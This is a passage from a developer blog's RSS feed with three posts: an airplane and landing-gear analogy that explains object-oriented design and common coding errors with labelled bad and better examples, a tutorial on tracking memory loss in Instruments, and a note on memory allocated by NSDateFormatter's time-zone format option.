<div style="clear: both;"><!-- reset --></div>
<p>This is the basis of object-oriented development. You model abstract objects after entities in the real world.</p>
<div style="clear: both;"><!-- reset --></div>
<h3>1.2. Object Properties</h3>
<p>Say that an airplane has landing gear, I reckon all airplanes have landing gear. Assuming we are not discussing here the very specific case of hydroplanes, the gear (at least a generic one) should probably belong to the airplane object.<br />
<img src="http://yuml.me/diagram/scruffy/class/[Airplane]uses-.-&gt;[LandingGear]." alt="" /></p>
<div style="clear: both;"><!-- reset --></div>
<h3>1.3. Inherited Properties</h3>
<p>So in the real world, having landing gear is not particularly specific to the private jet or the commercial airliner. Being fitted with landing gear, retractable or not, is general to all airplanes.</p>
<p><img src="http://yuml.me/diagram/scruffy/class/[Commercial Airliner]->[Airplane], [Private Jet]->[Airplane], [Airplane]uses-.->[LandingGear].&#8221; alt=&#8221;" /></p>
<div style="clear: both;"><!-- reset --></div>
<h3>1.4. Class Members</h3>
<p>The landing gear, in itself, can be a pretty complex device.</p>
<ol>
<li>
<h4>Member variables</h4>
<p>It has members that remember states, such as stowed away vs. ready for landing.<br />
Example: <strong>isReady</strong></li>
<li>
<h4>Member methods</h4>
<p>It also has functions, which generally, but not always, will change its state. Such functions can be deploy vs. stow.</p>
<p>Example: <strong>Deploy()</strong></li>
</ol>
<p><img src="http://yuml.me/diagram/scruffy/class/[LandingGear|isReady|Deploy()]-[note: Invoking Deploy() will open the landing gear and change the state of isReady{bg:yellow}]." alt="" /></p>
<div style="clear: both;"><!-- reset --></div>
<p>This is where encapsulating functionality into an object starts to make a lot of sense. You need not to know the specifics of how a mechanism (or an algorithm) is implemented. You only need to know how to invoke it: in this example, it&#8217;s Deploy().</p>
<h3>1.5. Delegate Behavior</h3>
<p>In this simplified model, it matters not which kind of airplane you fly. All you need to do is to flip a switch to initiate the landing procedure, and the airplane object just &#8220;knows&#8221; what to do.<br />
<img src="http://yuml.me/diagram/scruffy/usecase/[Pilot]-(Initiate Landing Procedure), (Initiate Landing Procedure)&gt;(LandingGear Deploy), [Pilot]-(note: Pilot does not need to know how the landing gear works{bg:yellow})." alt="" /></p>
<div style="clear: both;"><!-- reset --></div>
<h3>1.6. Larger Picture</h3>
<p><a title="Airplane &#038; Landing Gear classes" href="http://yuml.me/diagram/scruffy;dir:lr/class/%20%5BAirplane%5Duses-.-%3E%5BFlaps%5D,%20%5BAirplane%5D-%5Bnote:%20Invoking%20PrepareForLanding%28%29%20will%20operate%20LandingGear%20&#038;%20Flaps%20based%20on%20configuration%7Bbg:yellow%7D%5D,%20%5BLandingGear%5D-%5Bnote:%20Invoking%20Deploy%28%29%20will%20be%20interpreted%20by%20the%20implementation%7Bbg:yellow%7D%5D,%20%5BLandingGear%5D%3C-%5BFixedGear%5D,%20%5BLandingGear%5D%3C-%5BRetractableGear|Deploy%28%29%5D,%20%5BFixedGear%5D-%5Bnote:%20Invoking%20Deploy%28%29%20will%20do%20nothing%7Bbg:wheat%7D%5D,%20%5BRetractableGear%5D-%5Bnote:%20Invoking%20Deploy%28%29%20will%20open%20the%20landing%20gear%20and%20change%20the%20state%20of%20isReady%7Bbg:wheat%7D%5D,"><br />
<img style="border: 0pt none;" title="click to enlarge" src="http://yuml.me/diagram/scruffy;scale:50;dir:lr/class/%20%5BAirplane%5Duses-.-%3E%5BFlaps%5D,%20%5BAirplane%5D-%5Bnote:%20Invoking%20PrepareForLanding%28%29%20will%20operate%20LandingGear%20&#038;%20Flaps%20based%20on%20configuration%7Bbg:yellow%7D%5D,%20%5BLandingGear%5D-%5Bnote:%20Invoking%20Deploy%28%29%20will%20be%20interpreted%20by%20the%20implementation%7Bbg:yellow%7D%5D,%20%5BLandingGear%5D%3C-%5BFixedGear%5D,%20%5BLandingGear%5D%3C-%5BRetractableGear|Deploy%28%29%5D,%20%5BFixedGear%5D-%5Bnote:%20Invoking%20Deploy%28%29%20will%20do%20nothing%7Bbg:wheat%7D%5D,%20%5BRetractableGear%5D-%5Bnote:%20Invoking%20Deploy%28%29%20will%20open%20the%20landing%20gear%20and%20change%20the%20state%20of%20isReady%7Bbg:wheat%7D%5D," alt=""/></a></p>
<div style="clear: both;"><!-- reset --></div>
<p><a title="Airplane &#038; Landing Gear relationships" href="http://yuml.me/diagram/scruffy;dir:lr/class/%5BCommercial%20Airliner%5D-%3E%5BRetractableGearPlane%5D,%20%5BPrivate%20Jet%5D-%3E%5BRetractableGearPlane%5D,%20%5BHydroplane%5D-%3E%5BFixedGearPlane%5D,%20%5BFixedGearPlane%5D-%3E%5BAirplane|PrepareForLanding%28%29%5D,%20%5BRetractableGearPlane%5D-%3E%5BAirplane%5D,%20%5BAirplane%5Duses-.-%3E%5BLandingGear|isReady|Deploy%28%29%5D,%20%5BRetractableGearPlane%5Dimplements-.-%3E%5BRetractableGear%5D,%20%5BFixedGearPlane%5Dimplements-.-%3E%5BFixedGear%5D,%20%5BRetractableGear%5D-.-%3E%5BOpen%20gear%20trap%5D,%20%5BRetractableGear%5D-.-%3E%5Bself%20check%5D,%20%5BRetractableGearPlane%5D-%5Bnote:%20A%20single%20switch%20will%20operate%20the%20LandingGear%20regardless%20of%20apparatus%20complexity%7Bbg:yellow%7D%5D,%20%5Bnote:%20Do%20NOT%20use%20this%20model%20to%20implement%20an%20actual%20airplane!%7Bbg:red%7D%5D."><br />
<img style="border: 0pt none;" title="click to enlarge" src="http://yuml.me/diagram/scruffy;scale:50;dir:lr/class/%5BCommercial%20Airliner%5D-%3E%5BRetractableGearPlane%5D,%20%5BPrivate%20Jet%5D-%3E%5BRetractableGearPlane%5D,%20%5BHydroplane%5D-%3E%5BFixedGearPlane%5D,%20%5BFixedGearPlane%5D-%3E%5BAirplane|PrepareForLanding%28%29%5D,%20%5BRetractableGearPlane%5D-%3E%5BAirplane%5D,%20%5BAirplane%5Duses-.-%3E%5BLandingGear|isReady|Deploy%28%29%5D,%20%5BRetractableGearPlane%5Dimplements-.-%3E%5BRetractableGear%5D,%20%5BFixedGearPlane%5Dimplements-.-%3E%5BFixedGear%5D,%20%5BRetractableGear%5D-.-%3E%5BOpen%20gear%20trap%5D,%20%5BRetractableGear%5D-.-%3E%5Bself%20check%5D,%20%5BRetractableGearPlane%5D-%5Bnote:%20A%20single%20switch%20will%20operate%20the%20LandingGear%20regardless%20of%20apparatus%20complexity%7Bbg:yellow%7D%5D,%20%5Bnote:%20Do%20NOT%20use%20this%20model%20to%20implement%20an%20actual%20airplane!%7Bbg:red%7D%5D." alt=""/></a><br />
</a></p>
<div style="clear: both;"><!-- reset --></div>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<div style="clear: both;"><!-- reset --></div>
<h2>2. A Programming Error Crash Course: Dont&#8217; fly with those!</h2>
<p>I have gathered below a few errors I have seen in the past. Do <strong>not</strong> try this at home!<br />
<em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<h3>2.1. public static</h3>
<p><img src="http://yuml.me/diagram/scruffy/class/[Airplane]owns-&gt;[LandingGear|isReady|Deploy(){bg:red}], [Airplane]^[Private Jet], [Private Jet]creates-.-&gt;[LandingGear]." alt="" /></p>
<div style="clear: both;"><!-- reset --></div>
<p><code><br />
<strong><span style="color: #800000;">BAD:</span></strong><span style="color: #800000;"><br />
// Whenever needed<br />
if( nil == Airplane.staticLandingGear) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;Airplane.staticLandingGear = </span><em><span style="color: #800000;">create an instance of LandingGear</span></em><span style="color: #800000;"><br />
}<br />
</span><span style="color: #800000;"><br />
... followed somewhere upon destruction of the object:<br />
</span><span style="color: #800000;"><br />
// Upon desctruction of the creator<br />
if( nil != Airplane.staticLandingGear) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;delete Airplane.staticLandingGear;<br />
&nbsp;&nbsp;&nbsp;&nbsp;Airplane.staticLandingGear = nil;<br />
}</span><br />
</code></p>
<p>While this may look proper at first glance, and possibly even work depending on the situation, I have seen this code create havoc when placed in the &#8220;Private Jet&#8221; or &#8220;Commercial Airliner&#8221; sub-class. Create more than one plane and you have a disaster.<br/></p>
<p><code><span style="color: #008000;"><strong>BETTER:</strong><br />
// Whenever needed<br />
aLandingGear = Airplane.getLandingGear();</span></p>
<p><span style="color: #008000;">... and the LandingGear instance in turn created and maintained by a singleton</span></p>
<p><span style="color: #008000;">getLandingGear()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;// Ensures only one LandingGear instance exists<br />
&nbsp;&nbsp;&nbsp;&nbsp;if( nil == staticLandingGear) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;staticLandingGear = </span><em><span style="color: #008000;">create a unique instance of LandingGear</span></em><span style="color: #008000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;return staticLandingGear;<br />
}</span></code></p>
<ol>
<li>Problem:
<p>More than one object may destroy the public static variable</li>
<li>Suggestion:
<p>Use a singleton and a private static.</li>
</ol>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<h3>2.2. silent error</h3>
<p><img src="http://yuml.me/diagram/scruffy/usecase/[Pilot]-(Flip switch in Airplane), (Flip switch in Airplane)&gt;(LandingGear Deploy not invoked), [Pilot]-(note: Pilot not informed that gear did not deploy. Neither was QA.{bg:red})." alt="" /></p>
<div style="clear: both;"><!-- reset --></div>
<p><code><span style="color: #ff0000;"><strong><span style="color: #800000;">BAD:</span></strong></span><br />
<span style="color: #800000;"> if( nil != aLandingGear) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;aLandingGear.Deploy();<br />
}</span><br />
</code><br />
Defensive programming has it&#8217;s price. In this case, the software <span style="text-decoration: underline;">will not crash</span> if the LandingGear object does not exist. Good.<br />
Conversely, the <span style="text-decoration: underline;">plane will crash</span> because no landing gear has been deployed. Bad.<br />
This situation could have been detected early on if the software had not failed silently during the development phase, before it was deployed.<br />
<code><br />
<span style="color: #00ff00;"><strong><span style="color: #008000;">BETTER:</span></strong></span><span style="color: #008000;"><br />
</span><span style="color: #008000;">assert( aLandingGear); // Will alert QA that something went terribly wrong<br />
if( nil != aLandingGear) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;aLandingGear.Deploy();<br />
} else {<br />
&nbsp;&nbsp;&nbsp;&nbsp;// Something is terribly wrong and we should not be there<br />
&nbsp;&nbsp;&nbsp;&nbsp;startEmergencyProcedure();<br />
} </span></code></p>
<ol>
<li>Problem:
<p>Failure goes undetected and unreported during development</li>
<li>Suggestion:
<p>Use <em>assert()</em> and <em>error_log()</em> to report unexpected conditions</li>
</ol>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<h3>2.3. uninitialized object</h3>
<p><img src="http://yuml.me/diagram/scruffy/class/[Aiplane], [LandingGear]-[note: Not attached!{bg:red}]." alt="" /></p>
<div style="clear: both;"><!-- reset --></div>
<p>For this example, assume that the landing gear needs to be connected to an airplane.<br />
<code><span style="color: #800000;"><br />
BAD:<br />
if( ! aLandingGear) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;aLandingGear = new LandingGear();<br />
}<br />
// The app will not crash, because aLandingGear exists<br />
aLandingGear->Deploy(); // Will do nothing. Plane will crash!<br />
</span></code></p>
<p>If an object MUST be initialized, one possibility is to make the default constructor private</p>
<p><code><span style="color: #008000;">BETTER:<br />
if( ! aLandingGear) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;aLandingGear = new LandingGear( anAirplane);<br />
}<br />
</span></code></p>
<ol>
<li>Problem:
<p>Failure to initialize an object</li>
<li>Suggestion:
<p>Make constructor private to force the use of proper initializer, otherwise source code will not compile in the first place.</li>
</ol>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<h3>2.4. A bug? Which bug? I didn&#8217;t see a bug.</h3>
<p>I will conclude with my favorite quote from an engineer with whom I do not share the view. I can see the benefits and even possibly some logic behind it, but this is why I hate to fly.<br />
<em><br />
If a bug cannot occur, it is not a bug.</p>
<p>W.W.<br />
</em><br />
I guess that I am not inclined to take the risk; a condition could have been overlooked, or simply created at a later maintenance stage. New situations will arise as the software evolves, and code that was once safe may be misunderstood and misused. From the same engineer, I&#8217;ve also heard this:<br />
<img src="http://yuml.me/diagram/scruffy/class/-[note: 'Well. Of course it will crash if you pass it corrupted data...'{bg:red}]." alt="" /><em><br />
W.W.</p>
<p></em></p>
<div style="clear: both;"><!-- reset --></div>
<p>No comment.</p>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="3" /><br />
</em></p>
<div style="clear: both;"><!-- reset --></div>
<p><script src="http://widgets.digg.com/buttons.js" type="text/javascript"></script></p>
<p><a onclick="window.open('http://delicious.com/save?v=5&amp;noui&amp;jump=close&amp;url=thegothicparty.com%2Fdev%2Farticle%2Fsoftware-crash-on-landing&amp;title=Software+crash+on+LandingGear-%3EDeploy()', 'delicious', 'toolbar=no,width=550,height=550'); return false;" href="http://delicious.com/save"><img style="border: 0pt none;" src="http://www.delicious.com/static/img/delicious.small.gif" alt="Delicious" width="16" height="16" />Bookmark this on Delicious</a></p>
<p><a class="DiggThisButton DiggCompact" rev="news, programming" href="http://digg.com/submit?url=http%3A%2F%2Fthegothicparty.com%2Fdev%2Farticle%2Fsoftware-crash-on-landing&amp;title=Software+crash+on+LandingGear-%3EDeploy()"></a></p>
]]></content:encoded>
			<wfw:commentRss>http://thegothicparty.com/dev/article/software-crash-on-landing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Finding hidden memory leak with Instruments</title>
		<link>http://thegothicparty.com/dev/article/finding-hidden-memory-leak-with-instruments/</link>
		<comments>http://thegothicparty.com/dev/article/finding-hidden-memory-leak-with-instruments/#comments</comments>
		<pubDate>Tue, 23 Mar 2010 07:20:52 +0000</pubDate>
		<dc:creator>dev</dc:creator>
				<category><![CDATA[OS Development]]></category>
		<category><![CDATA[Tech Articles]]></category>

		<guid isPermaLink="false">http://thegothicparty.com/dev/?p=275</guid>
		<description><![CDATA[Using the 1 Mb NSDateFormatter memory leak as a case-study, this tutorial shows how to locate and isolate unexpected memory allocation using Instruments. Technically, this 1 Mb loss is arguably not a leak, since the data is cached, and is still actively referenced by the system. Yet&#8230; Instruments has built-in tools to isolate true leaks [...]]]></description>
			<content:encoded><![CDATA[<p>Using the 1 Mb <a title=" NSDateFormatter memory leak" href="http://thegothicparty.com/dev/iphone/nsdateformatter-memory-leak/">NSDateFormatter memory leak</a> as a case-study, this tutorial shows how to locate and isolate  unexpected memory allocation using Instruments. Technically, this 1 Mb loss is arguably not a leak, since the data is cached, and is still actively referenced by the system. Yet&#8230;</p>
<p><a href="http://thegothicparty.com/dev/macos/finding-hidden-memory-leak-with-instruments/"><img class="size-full wp-image-276      alignnone" style="border: 0pt none;" title="Finding hidden memory leak with Instruments" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss00.png" alt="" width="256" height="194" /></a><em>Instruments has built-in tools to isolate true leaks (lost blocks) but can also be used to locate memory loss.</em><em> While this session references iPhone OS 3.1.3, it can be generalized: only the  example is specific, not the concept.</em></p>
<div style="clear: both;"><!-- reset --></div>
<p><span id="more-275"></span></p>
<p>&#8230;as an engineer, I tend to differ: if every time I invoked a library API, I&#8217;d loose roughly 1 megabyte of RAM, I&#8217;d soon be running out of memory. I will also argue that, since this memory &#8220;cache&#8221; is neither documented nor explicitly reported it is, for all purposes, a leak(*).</p>
<p><span style="color: #1459ea;">(*) A leak is a lost block. But not all lost blocks qualify as leaks. This article focuses on the ones that don&#8217;t. Just like leaks, these lost blocks are consuming memory space. That space is generally not reclaimed until the host application quits.</span></p>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<div style="clear: both;"><!-- reset --></div>
<p><em> </em></p>
<h2>1. Launch Instruments</h2>
<p style="text-align: center;">From XCode, launch your application using &#8220;Object Allocations&#8221;<br />
<a href="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss01.png"><img class="size-full wp-image-277 aligncenter" style="border: 0pt none;" title="XCode &gt; Run &gt; Start with Performance Tool &gt; Object Allocations" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss01.png" alt="" width="512" height="324" /></a>For this tutorial, we are not using Leaks Instrument Template. While Leaks is very effective against true leaks, it is oblivious to retained but forgotten objects, over-retained objects, or poor API implementation.</p>
<div style="clear: both;"><!-- reset --></div>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<div style="clear: both;"><!-- reset --></div>
<p><em> </em></p>
<h2>2. Run your application<!--more--></h2>
<p>In this example, only 32 seconds (about 0.54 minutes in Instruments notation) were needed to expose the unexpected memory usage.<br />
<a href="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss02.png"><img class="alignnone size-full wp-image-309" style="border: 0pt none;" title="Run your application" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss02.png" alt="" width="669" height="464" /></a></p>
<div style="clear: both;"><!-- reset --></div>
<p>It is a good idea to be generous in early scoping of memory usage, since it will fluctuate. For the purpose of this tutorial, this preliminary analysis phase has been skipped entirely.<br />
<em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<div style="clear: both;"><!-- reset --></div>
<p><em> </em></p>
<h2>3. Stop the Application execution</h2>
<p>It has been established during other sessions that the particular memory consumption we are studying does not change during the lifetime of this application. Stopping it after 34 seconds.</p>
<p><a href="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss03.png"><img class="alignnone size-full wp-image-311" style="border: 0pt none;" title="Stop" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss03.png" alt="" width="103" height="52" /></a></p>
<div style="clear: both;"><!-- reset --></div>
<p>Instruments can start/stop/save/restore sessions, which makes it invaluable to compare the program behavior before/after alterations.<br />
<em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<div style="clear: both;"><!-- reset --></div>
<p><em> </em></p>
<h2>4. Objects Created and Still Living</h2>
<p>Focus on the objects that have been allocated, but not de-allocated.</p>
<p><a href="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss04.png"><img class="alignnone size-full wp-image-312" style="border: 0pt none;" title="Objects Created &amp; Still Living" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss04.png" alt="" width="215" height="68" /></a></p>
<div style="clear: both;"><!-- reset --></div>
<p>Obviously, objects created but no longer living have been de-allocated, and are not of particular interest while searching for leaks.<br />
<em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<div style="clear: both;"><!-- reset --></div>
<p><em> </em></p>
<h2>5. Observe the Object Allocation Graph</h2>
<p>Looking at the graph, it is easy to spot sudden memory allocation. For increased granularity, reduce the &#8220;Inspection Range&#8221;.<br />
<a href="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss05.png"><img class="alignnone size-full wp-image-313" style="border: 0pt none;" title="Inspection Range" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss05.png" alt="" width="544" height="158" /></a></p>
<div style="clear: both;"><!-- reset --></div>
<p>The Inspection Range will reduce the number of items present in the Diagram View below.<br />
<em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<div style="clear: both;"><!-- reset --></div>
<p><em> </em></p>
<h2>6. Set the View mode to Diagram View</h2>
<p><a href="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss06.png"><img class="alignnone size-full wp-image-314" style="border: 0pt none;" title="View Mode" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss06.png" alt="" width="237" height="28" /></a></p>
<div style="clear: both;"><!-- reset --></div>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<div style="clear: both;"><!-- reset --></div>
<p><em> </em></p>
<h2>7. Navigate the Diagram View</h2>
<p>This is a very handy feature of Instruments. By sliding or dragging the time line cursor, the Diagram View selection will scroll accordingly. By bringing the triangular cursor precisely over the edge of the sharp raise of memory usage around the 0.54 min (32.5 seconds) area, one discovers pages and pages of a repeated call to -[NSDateFormatter getObjectValue:forString:range:error:]</p>
<p><a href="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss07.png"><img class="alignnone size-full wp-image-315" style="border: 0pt none;" title="Navigate" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss07.png" alt="" width="544" height="158" /></a></p>
<div style="clear: both;"><!-- reset --></div>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<div style="clear: both;"><!-- reset --></div>
<p><em> </em></p>
<h2>8. Focus on the Diagram View</h2>
<p>Observing the Diagram View, sorted either by &#8220;Responsible Caller&#8221; or by &#8220;Creation Time&#8221;, one can see the repeated invocation to the same NSDateFormatter method.</p>
<p><a href="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss08.png"><img class="alignnone size-full wp-image-318" style="border: 0pt none;" title="Focus" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss08.png" alt="" width="669" height="461" /></a></p>
<div style="clear: both;"><!-- reset --></div>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<div style="clear: both;"><!-- reset --></div>
<p><em> </em></p>
<h2>9. Call Stack</h2>
<p>Turn on the call stack view (Extended Detail View)</p>
<p><a href="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss09.png"><img class="alignnone size-full wp-image-319" style="border: 0pt none;" title="Extended Detail View" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss09.png" alt="" width="237" height="28" /></a></p>
<div style="clear: both;"><!-- reset --></div>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<div style="clear: both;"><!-- reset --></div>
<p><em> </em></p>
<h2>10. Final analysis</h2>
<p>By selecting a single line in the Diagram View, and inspecting the corresponding call stack in the Extended Detail View, one can focus on a single invocation and, hopefully, isolate the code responsible for the memory allocation. A double-click will jump to the source code, if available.</p>
<p>For example, +[Manager dateFromString] is the method responsible for invoking the suspicious NSDateFormatter -dateFromString selector.</p>
<p><a href="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss10.png"><img class="alignnone size-full wp-image-320" style="border: 0pt none;" title="Call Stack" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/ss10.png" alt="" width="671" height="454" /></a></p>
<div style="clear: both;"><!-- reset --></div>
<p>Two facts will attract our attention:</p>
<ol>
<li>There are pages upon pages of NSDateFormatter invocations, all grouped together when sorted by Responsible Caller.</li>
<li>When sorted by Creation Time, about 8000 invocations to NSDateFormatter take place within the same 100 ms.</li>
</ol>
<p>When looked at closely, this study lead to a decision to not use NSDateFormatter time zones, which turned out to be the culprit.<br />
<em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<div style="clear: both;"><!-- reset --></div>
<p><em> </em></p>
<h2>11. Related links</h2>
<ul>
<li><a href="http://thegothicparty.com/dev/iphone/nsdateformatter-memory-leak/">NSFormatter memory leak</a></li>
<li><a href="http://en.wikipedia.org/wiki/Memory_leak">Wikipedia article about memory leak</a></li>
</ul>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="3" /><br />
</em></p>
<div style="clear: both;"><!-- reset --></div>
<p><em> </em></p>
<p><script src="http://widgets.digg.com/buttons.js" type="text/javascript"></script></p>
<p><a onclick="window.open('http://delicious.com/save?v=5&amp;noui&amp;jump=close&amp;url=thegothicparty.com%2Fdev%2Fmacos%2Ffinding-hidden-memory-leak-with-instruments&amp;title=Finding+hidden+memory+leak+with+Instruments', 'delicious', 'toolbar=no,width=550,height=550'); return false;" href="http://delicious.com/save"><img style="border: 0pt none;" src="http://www.delicious.com/static/img/delicious.small.gif" alt="Delicious" width="16" height="16" />Bookmark this on Delicious</a></p>
<p><a class="DiggThisButton DiggCompact" rev="news, programming" href="http://digg.com/submit?url=http%3A%2F%2Fthegothicparty.com%2Fdev%2Fmacos%2Ffinding-hidden-memory-leak-with-instruments&amp;title=Finding+hidden+memory+leak+with+Instruments"></a></p>
]]></content:encoded>
			<wfw:commentRss>http://thegothicparty.com/dev/article/finding-hidden-memory-leak-with-instruments/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NSDateFormatter memory leak</title>
		<link>http://thegothicparty.com/dev/article/nsdateformatter-memory-leak/</link>
		<comments>http://thegothicparty.com/dev/article/nsdateformatter-memory-leak/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 20:15:08 +0000</pubDate>
		<dc:creator>dev</dc:creator>
				<category><![CDATA[OS Development]]></category>
		<category><![CDATA[Tech Articles]]></category>

		<guid isPermaLink="false">http://thegothicparty.com/dev/?p=231</guid>
		<description><![CDATA[This is a follow-up to a post on stackoverflow.com, where it appears that 1 MB is lost after invoking NSFormatter -dateFromString. I ran into the same situation, with very similar leak sizes to the ones reported on that article. Instruments shows that 868 Kb (889520 bytes to be exact) are allocated by Cocoa on iPhone [...]]]></description>
			<content:encoded><![CDATA[<p>This is a follow-up to a post on <a title="Instruments (Leaks) and NSDateFormatter" href="http://stackoverflow.com/questions/1117263/instruments-leaks-and-nsdateformatter">stackoverflow.com</a>, where it appears that 1 MB is lost after invoking NSFormatter -dateFromString.</p>
<p>I ran into the same situation, with very similar leak sizes to the ones reported on that article. Instruments shows that 868 Kb (889520 bytes to be exact) are allocated by Cocoa on iPhone OS (verified from 2.x to 3.x up to 3.1.3).<br />
<span id="more-231"></span></p>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" />
<div style="clear: both;"><!-- reset --></div>
<p></em></p>
<h2>1. Z Offending Code<br />
</h2>
<p>The objective of this method is to convert  a string into a date.<br />
Note that I do invoke -release on the NSDateFormatter object, and that the newly created NSDate is destroyed when the NSAutoreleasePool is drained. This is not where the problem lies.</p>
<p><span style="color: #808080;"><code>NSDateFormatter *dateFormatter = [[NSDateFormatter alloc] init];<br />
[dateFormatter setTimeZone:[ NSTimeZone timeZoneWithName:@"GMT"]];<br />
[dateFormatter setDateFormat:@"EEE, d MMM yyyy HH:mm:ss <span style="color: #ff0000;">z</span>"];<br />
[dateFormatter setLenient:YES];<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;NSAutoreleasePool* pool = [[NSAutoreleasePool alloc] init];<br />
&nbsp;&nbsp;&nbsp;&nbsp;NSDate *testDate = [dateFormatter dateFromString:string];<span style="color: #339966;"> // &lt;- Allocates 868 Kb</span><br />
&nbsp;&nbsp;&nbsp;&nbsp;// Do something with testDate<br />
&nbsp;&nbsp;&nbsp;&nbsp;[pool drain];<br />
}<br />
[dateFormatter release];<br />
</code></span></p>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" />
<div style="clear: both;"><!-- reset --></div>
<p></em></p>
<h2>2. Discussion<br />
</h2>
<p>It appears that this is caused by the <span style="color: #ff0000;">z</span> option in setDateFormat.<br />
My guess is that Cocoa allocates exactly 8618 time-zone related objects that live in memory for the duration of the application.<br />
I do not know of any workaround, other than not using the &#8220;z&#8221; option.<br />
<code>[ dateFormatter setDateFormat:@"EEE, d MMM yyyy HH:mm:ss"];</code></p>
